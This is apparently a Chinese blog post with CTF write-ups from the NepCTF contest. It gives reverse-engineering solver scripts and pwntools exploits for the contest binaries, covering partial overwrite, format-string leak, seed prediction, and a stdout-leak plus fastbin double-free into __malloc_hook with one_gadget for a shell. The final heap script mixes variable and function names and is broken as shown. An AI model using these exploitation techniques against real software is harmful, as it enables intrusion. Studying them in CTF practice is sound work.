Nep欢乐个人赛部分复现记录

写在前面:感谢不会修电脑师傅的指导
参照大佬:https://shimo.im/docs/TVDd3VvVXyKYGgcv/read
https://www.richar.top/2021/03/22/nepctf-wp/

做到一半平台下线了,只记录了几道简单的。


Re

hardcsharp

  1. 例行检查,c#写的
    在这里插入图片描述
  2. 一开始用ida反编译的,看不大懂,百度后用的dnSpy反编译
// hardcsharp.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{
	AesClass aesClass = new AesClass();
	string text = "";
	string strB = "1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0";
	byte[] array = new byte[]
	{
		81,
		82,
		87,
		81,
		82,
		87,
		68,
		92,
		94,
		86,
		93,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18,
		18
	};
	Console.WriteLine("Welcome to nepnep csharp test! plz input the magical code:");
	string text2 = Console.ReadLine();
	if (text2.Length != 37)
	{
		Console.WriteLine("Nope!");
		Console.ReadKey();
		return;
	}
	if (text2.Substring(0, 4) != "Nep{" || text2[36] != '}')
	{
		Console.WriteLine("Nope!");
		Console.ReadKey();
		return;
	}
	for (int i = 0; i < 32; i++)
	{
		text += Convert.ToChar((int)(array[i] ^ 51)).ToString();
	}
	if (string.Compare(aesClass.AesEncrypt(text2, text), strB) == 0)
	{
		Console.WriteLine("wow, you pass it!");
		Console.ReadKey();
		return;
	}
	Console.WriteLine("Nope!");
	Console.ReadKey();
}

在这里插入图片描述

逻辑很简单:text2由我们输入,text由已知数组array和51异或得到,text2用text作为key进行ECB模式的AES加密得到strB
逆向推算一下
个人比较喜欢收集各种算法的脚本,所以没用在线工具网站,用在线工具网站应该会快一些
aes加密/解密代码来源:https://blog.csdn.net/s740556472/article/details/79026128

import string
import random
from Crypto.Cipher import AES


#AES-demo

import base64
from Crypto.Cipher import AES

'''
采用AES对称加密算法
'''
# str不是16的倍数那就补足为16的倍数
def add_to_16(value):
    while len(value) % 16 != 0:
        value += '\0'
    return str.encode(value)  # 返回bytes
#加密方法
def encrypt_oracle():
    # 初始化加密器
    aes = AES.new(add_to_16(key), AES.MODE_ECB)
    #先进行aes加密
    encrypt_aes = aes.encrypt(add_to_16(text))
    #用base64转成字符串形式
    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding='utf-8')  # 执行加密并转码返回bytes
    print(encrypted_text)
#解密方法
def decrypt_oralce(key,text):
    # 秘钥
    #key = '123456'
    # 密文
    #text = 'qR/TQk4INsWeXdMSbCDDdA=='
    # 初始化加密器
    aes = AES.new(add_to_16(key), AES.MODE_ECB)
    #优先逆向解密base64成bytes
    base64_decrypted = base64.decodebytes(text.encode(encoding='utf-8'))
    #执行解密密并转码返回str
    decrypted_text = str(aes.decrypt(base64_decrypted),encoding='utf-8').replace('\0','')
    print(decrypted_text)


array = [81,82,87,81,82,87,68,92,94,86,93,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18]
text = ''
for i in range(len(array)):
     text+=chr(array[i]^51)
print("text:"+text)

key=text  #密钥
text='1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0'  #加密/解密文本
decrypt_oralce(key,text)

在这里插入图片描述

26进制

  1. 例行检查,32位程序,c++写的,无壳
    在这里插入图片描述
  2. 贴几个关键代码
    在这里插入图片描述
    在这里插入图片描述
    程序逻辑是一开始让我们输入几个个数字,转换成逆序的26进制,根据符号表2163qwe)(*&^%489$!057@#><A转换成对应的字符,然后跟7进行异或,最后得到Fb72>&6,逆算得出这些数字。md5加密即可的搭配flag
from Crypto.Hash import MD5
c=list(b"Fb72>&6"[::-1])
for i in range(len(c)):
    c[i]^=7

b=list(b"2163qwe)(*&^%489$!057@#><A")

r=0
for i in c:
    r*=26
    r+=b.index(i)
print(r)

print('Nep{'+MD5.new(str(r).encode()).hexdigest()+'}')

在这里插入图片描述

PWN

送你一朵小红花

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 64位ida载入,检索字符串的时候发现了后门
    在这里插入图片描述
    main()
    在这里插入图片描述
    buf[2]中存储了程序函数指针,会调用执行输出各种奇怪的图画。
  3. 由于程序开启了pie,所以没法覆盖到准确的函数地址,但是最后12位(1个半字节)是不变的,read读入了0x100长度的数据,可以覆盖buf[2]处的指针为0x14E1,最前面的1是不固定的,范围是0~F,有1/16的几率修改成功

exp

from pwn import *

context.log_level="debug"

while 1:
	p=remote("node2.hackingfor.fun",30728)
	try:
		
		payload='a'*0x10+'\xe1\x14'
		p.send(payload)
		p.recvuntil('}')
		p.interactive()
	except:
		pass

在这里插入图片描述

easystack

  1. 例行检查,64位程序,开启了nx
    在这里插入图片描述
  2. 64位ida载入,程序是静态编译的
    之前做过这种静态编译的题目,静态编译的题目去除了符号信息,阅读起来的时候存在一些困难。当时是使用的ROPgadget --binary easystack --ropchain来利用程序中的片段拼凑rop链,这题不可以。只能动调理一下逻辑
    在这里插入图片描述
    程序逻辑大概是这样:首先将flag读取到0x6CDE20处,然后随机生成一个v6,如果我们输入的数据等于v6,就会输出flag,还有就是如果破坏了v8的值会触发canary的报错函数
    在这里插入图片描述
    两种做法:
    1.覆盖程序的启动参数的指针,将其指向flag的地址,利用stack_chk_fail得到flag。
    动调找一下输入点距离_libc_argv[0]的偏移
    在这里插入图片描述
    0x7fffffffdb30-0x7fffffffdac8=104
from pwn import *
from ctypes import *

context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('easystack')

p=remote('node2.hackingfor.fun',38892)
p.sendline(p64(0x6CDE20)*104)
p.interactive()

在这里插入图片描述

2.爆破出程序的种子,并且通过python中的cdll.LoadLibrary来调用glibc库函数,提交后就可以得到flag

from pwn import *
from ctypes import *

def rnd(n):
	elf.srand(n)
	return elf.rand()

context.log_level = "debug"


r = remote('node2.hackingfor.fun',38892)
elf = cdll.LoadLibrary('./libc-2.23.so')

t = elf.time(0)

r.sendline(p64(rnd(t)))
r.interactive()

在这里插入图片描述

scmt

  1. 例行检查,64位程序,开启了nx保护
    在这里插入图片描述
  2. 64位ida载入,重定义了一些函数,看起来舒服些
    在这里插入图片描述
    程序随机生成一个数,然后判断输入的数和生成的数是否相同,相同就给shell。
    输入name后有格式化字符串漏洞,可以就直接将生成的数泄露出来。
  3. 动调找一下输入的name跟v6的偏移
    在如图黄色部分下断点
    在这里插入图片描述
    在这里插入图片描述

gdb动调找到那个随机数
在这里插入图片描述
找到它距离我们输入的name的偏移为8
在这里插入图片描述
在这里插入图片描述

exp

from pwn import *
#r = process('./scmt')
r = remote('node2.hackingfor.fun', 35168)
r.sendlineafter('name:\n', '%8$p')
r.recvuntil('0x')

num = int(r.recvuntil('\n'), 16)
r.sendlineafter('number:\n', str(num))
r.interactive()

在这里插入图片描述

sooooeasy

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 运行一下,看看大概的情况,经典的堆题的菜单,不过只有add和del,没有show
    在这里插入图片描述
  3. 64位ida载入
    add()
    在这里插入图片描述
    申请一个chunk,理一下结构
    在这里插入图片描述
    dele()
    在这里插入图片描述
  4. 无show函数,也就是泄露不了堆内容,所以我们要考虑使用stdout来leak libc,关于_IO_2_1_stdout_ leak的方法看这位师傅的博客,这边引用一下。

IO_2_1_stdout leak适用的题目类型
1.无show函数,也就是leak不了堆内容(如果有show函数,那么就可以利用unsorted bin leak)
2.FULL RELRO,也就是got表无法修改(如果可以修改,那么就可以修改free为puts来leak)
3.能够间接(修改size再free)或者直接(直接malloc)的free chunk到unsorted bin,从而在chunk上存在main_arena + 88的地址。
4.能够让3中在unsorted bin中的chunk同时也存在于fastbin中(修改size为0x71,再free),实现fastbin attck
5.能够UAF,部分写入数据到unsored bin->FD覆盖(main_arena +88)的后两个字节(低地址),使其指向到stdout附近从而可以修改_flags等数据。这一步中有一些细节需要处理:
a.部分覆盖的具体值由调试可知,因为要检测fastbin size是否在对应范围内,所以要在stdout之前找到一块可以伪造的地址。这个技巧类似于**__malloc_hook**的修改方法。
b.由于在libc中只有后12个位是固定的,所以我们需要爆破后两个字节中的前4个位,也就是我们有(1/16)的几率利用成功。
利用方法
1.设fp = IO_2_1_stdout
2.绕过一些会报错的检测
a.修改fp->flag = 0xfdab1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)
b.输出过内容(_IO_CURRENTLY_PUTTING = 1)
3.修改fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多libc的地址。如果是用b的绕过方法,那么还需要让_IO_read_end== _IO_write_base

利用思路:

将一个大小为0x70的区块先加入fastbin

通过double free伪造区块,改大的前一个区块的大小,刚好覆盖0x70的区块,并free,然后再将大出来的部分malloc出来,使得0x70的区块刚好在unsorted bin内。此时fd指针为libc内的地址。

覆盖低地址的16bit,修改fd指针为stdout的地址,使堆块到stdout

修改stdout的write_base_ptr的低字节,泄露libc地址

通过double free将区块开到malloc_hook附近,改为one_gadget即可getshell

该方案成功率为1/16。

这题没有提供libc版,所以可以通过double free的报错来推测libc,然后,我做到一般平台下线了,还没来得及尝试,这边就贴一下本地double free报错的信息,我本机也是unbuntu 16.04和目标环境一样
在这里插入图片描述

exp

from pwn import *

p=process('./sooooeasy')
libc=ELF('./libc-2.23.so')

def add(size,name='a',message='abc'):
	p.sendlineafter('Your choice : ','1')
	p.sendlineafter('size of the your name: ',str(size))
	p.sendlineafter('Your name:',name)
	p.sendlineafter('Your message:',message)

def dele(index):
	p.sendlineafter('Your choice : ','2')
	p.sendlineafter("mumber's index:",str(index))

def libcbase():
	infomap = os.popen("cat /proc/{}/maps".format(r.pid)).read()
	data = re.search(".*libc.*\.so", infomap)
	if data:
	        libcaddr = data.group().split("-")[0]
	        return int(libcaddr, 16)
	else:
		return 0

def choice(idx):
	r.sendlineafter("Your choice : ", str(idx))


for i in range(2):
	add(0x28)
   
for i in range(2):
        delete(i)

stdout_addr = libc.sym['_IO_2_1_stdout_'] - 0x43

add(0xE8)  # 2
add(0x68)  # 3    
add(0x18)  # 4    
delete(2)
delete(3)
add(0x400)  # 5    
delete(3)
add(0x88)  # 6
delete(6)
add(0x78, 'a' * 0x58 + p64(0x71) + p16(stdout_addr & 0xFFFF))  # 7
add(0x68)  # 8    # 9    
choice(1)    
r.sendlineafter("name: ", str(0x68))    
r.sendafter("Your name:", 'a' * 0x33 + p64(0xfbad1800) + '\x00' * 0x18 + '\x58')    stdout_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 131
r.sendlineafter("Your message:", 'leak')
log.success("stdout_addr: " + hex(stdout_addr))
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
add(0x68)  # 10
delete(10)
delete(8)
delete(10)
add(0x68, p64(libc.sym['__malloc_hook'] - 0x23))  # 11
add(0x68)  # 12
add(0x68)  # 13    
#one = [0x3f3e6, 0x3f43a, 0xd5c07]
one = [0x45226, 0x4527a, 0xf0364, 0xf1207] 
add(0x68, 'a' * 0x13 + p64(libc.address + one[2]))  # 14    
delete(1)
delete(1)

p.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值